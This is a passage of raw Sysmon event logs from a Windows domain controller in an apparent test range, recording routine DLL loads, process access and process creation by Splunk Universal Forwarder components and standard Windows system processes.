Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000055259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000055254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.974{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000055248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.975{7BD73061-7469-613B-960B-00000000F001}5856C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000055247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.514{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000055246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.514{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000055245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.514{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000055244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.326{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000055243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.326{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000055242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.326{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000055241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.326{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000055240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.326{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000055239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.326{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000055238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.326{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000055237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.326{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000055236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000055235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000055229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000055226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000055225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000055224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000055223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000055222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000055221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:17.311{7BD73061-7469-613B-950B-00000000F001}5608C:\Program 